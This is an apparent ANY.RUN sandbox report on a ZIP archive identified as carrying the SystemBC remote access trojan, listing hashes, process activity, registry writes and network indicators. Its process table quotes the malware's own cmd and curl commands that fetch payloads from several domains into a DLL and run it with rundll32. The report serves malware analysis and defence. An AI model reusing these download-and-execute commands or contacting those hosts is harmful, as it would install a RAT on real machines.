File name:

QSJW.zip

Full analysis: https://app.any.run/tasks/92a4d390-88ef-424b-b6c2-c2cd811bc1e0
Verdict: Malicious activity
Threats:

SystemBC is a Remote Access Trojan (RAT) that can hide communication with the Command and Control server, and deposit other malware strains.

Malware Trends Tracker     >>>
Analysis date: December 21, 2023, 16:04:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
systembc
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

75EE9678595530CFFF0B7FCF64E1A792

SHA1:

348D38879865DB67E4F6D7EE4382FEECE7F8887F

SHA256:

14B20193CD7618AA3A80E9CE969B29FE21A0A47ADC907DD242CEF98F928AD536

SSDEEP:

3072:8lqylTlyA0Q7HnyyXzFfuo/UzAiQdF3i/NGlawL3e/n2ID2UxEXjD:+ZUA0QjJJNjXd1lZe/nPxETD

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • SYSTEMBC has been detected (YARA)

      • curl.exe (PID: 1316)
      • curl.exe (PID: 1848)

  • SUSPICIOUS

    • Adds/modifies Windows certificates

      • wscript.exe (PID: 2076)

    • Reads the Internet Settings

      • wscript.exe (PID: 2076)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2076)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2076)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 1736)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 1736)

  • INFO

    • Manual execution by a user

      • wscript.exe (PID: 2076)
      • msedge.exe (PID: 1232)
      • wmpnscfg.exe (PID: 2032)
      • rundll32.exe (PID: 392)

    • Checks supported languages

      • curl.exe (PID: 1848)
      • curl.exe (PID: 696)
      • curl.exe (PID: 1316)
      • curl.exe (PID: 1728)
      • curl.exe (PID: 1772)
      • curl.exe (PID: 2480)
      • curl.exe (PID: 848)
      • wmpnscfg.exe (PID: 2032)

    • Reads the computer name

      • curl.exe (PID: 848)
      • curl.exe (PID: 696)
      • curl.exe (PID: 1772)
      • curl.exe (PID: 1848)
      • curl.exe (PID: 1316)
      • curl.exe (PID: 2480)
      • curl.exe (PID: 1728)
      • wmpnscfg.exe (PID: 2032)

    • Application launched itself

      • msedge.exe (PID: 1232)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 2023:12:17 15:53:00
ZipCRC: 0x70251cd7
ZipCompressedSize: 87490
ZipUncompressedSize: 87475
ZipFileName: fl
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
105
Monitored processes
62
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs wscript.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs curl.exe cmd.exe no specs #SYSTEMBC curl.exe curl.exe cmd.exe no specs cmd.exe no specs #SYSTEMBC curl.exe cmd.exe no specs curl.exe cmd.exe no specs curl.exe curl.exe no specs timeout.exe no specs msedge.exe msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs rundll32.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs wmpnscfg.exe no specs rundll32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
120"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\QSJW.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
392"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1452 --field-trial-handle=1268,i,15888487392558727270,2870863506844635259,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
392"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\Desktop\flC:\Windows\System32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
548"C:\Windows\System32\cmd.exe" /c mkdir C:\Epfijglsorg\Ijfkmvofguv & curl https://grehlingerssealcoating.com/3hidbt/0.16256968808201244.dat --output C:\Epfijglsorg\Ijfkmvofguv\Wiflgodjvo.dllC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
552"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=5288 --field-trial-handle=1268,i,15888487392558727270,2870863506844635259,131072 /prefetch:1C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
696curl https://paldiengineering.com/8WjmD9n/0.015047803066871701.dat --output C:\Epfijglsorg\Ijfkmvofguv\Wiflgodjvo.dllC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.5.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
784"C:\Windows\System32\cmd.exe" /c mkdir C:\Epfijglsorg\Ijfkmvofguv & curl https://saeedalkarmi.com/aT2ja9/0.588033774918989.dat --output C:\Epfijglsorg\Ijfkmvofguv\Wiflgodjvo.dllC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
56
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
848curl https://israrliaqat.com/6wX4/0.1722150722678501.dat --output C:\Epfijglsorg\Ijfkmvofguv\Wiflgodjvo.dllC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.5.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
948rundll32 C:\Epfijglsorg\Ijfkmvofguv\Wiflgodjvo.dll,EnterC:\Windows\System32\rundll32.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
1232"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --profile-directory=DefaultC:\Program Files\Microsoft\Edge\Application\msedge.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
Total events
12 838
Read events
12 637
Write events
195
Delete events
6

Modification events

(PID) Process:(120) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\MainWin
Operation:writeName:Placement
Value:
2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF42000000420000000204000037020000
Executable files
36
Suspicious files
1 417
Text files
207
Unknown types
0

Dropped files

PID
Process
Filename
Type
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RFe821c.TMP —
MD5:—
SHA256:—
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old —
MD5:—
SHA256:—
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RFe824b.TMP —
MD5:—
SHA256:—
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old —
MD5:—
SHA256:—
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\LOG.old~RFe8306.TMP —
MD5:—
SHA256:—
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\LOG.old —
MD5:—
SHA256:—
120WinRAR.exeC:\Users\admin\Desktop\flbinary
MD5:DDEE232C9F1DC910D657082073EDC4CC
SHA256:13DE1EF194FCC71ACE96D6366F6B2FE3FE708DBD49F830D193632723F7C7F136
120WinRAR.exeC:\Users\admin\Desktop\Opl.jstext
MD5:A07A6C866666EFC1503820B5EF4C9220
SHA256:9EDFF104E692A0E48623632984A0D91BC2A7671927D6481ED1A4AA2C97BA8F82
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Variationsbinary
MD5:961E3604F228B0D10541EBF921500C86
SHA256:F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
1232msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Local Statebinary
MD5:148E2D7FF0364C690928BFE7C4CC5E60
SHA256:C4CE983A0CFE6605F0A8141EAD1FE4254E35586AA2D4F6FED654C70353252377
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
150
DNS requests
241
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1772
curl.exe
198.54.119.151:443
grehlingerssealcoating.com
NAMECHEAP-NET
US
unknown
1848
curl.exe
203.175.9.73:443
gofly.id
CV. Rumahweb Indonesia
ID
unknown
848
curl.exe
91.229.245.137:443
israrliaqat.com
Contabo GmbH
DE
unknown
696
curl.exe
65.108.108.218:443
paldiengineering.com
Hetzner Online GmbH
FI
unknown
1728
curl.exe
54.38.148.83:443
holyrosaryinternational.com
OVH SAS
GB
unknown
1316
curl.exe
103.250.186.101:443
saeedalkarmi.com
LeapSwitch Networks Pvt Ltd
IN
unknown
1232
msedge.exe
239.255.255.250:1900
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
grehlingerssealcoating.com
  • 198.54.119.151
unknown
gofly.id
  • 203.175.9.73
unknown
israrliaqat.com
  • 91.229.245.137
unknown
paldiengineering.com
  • 65.108.108.218
unknown
saeedalkarmi.com
  • 103.250.186.101
unknown
holyrosaryinternational.com
  • 54.38.148.83
unknown
0.7424026975431477.dat
  • —
unknown
ntp.msn.com
  • 204.79.197.203
  • 131.253.33.203
whitelisted
config.edge.skype.com
  • 13.107.42.16
whitelisted
edge.microsoft.com
  • 204.79.197.239
  • 13.107.21.239
whitelisted

Threats

No threats detected
No debug info
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Reports
QSJW.zip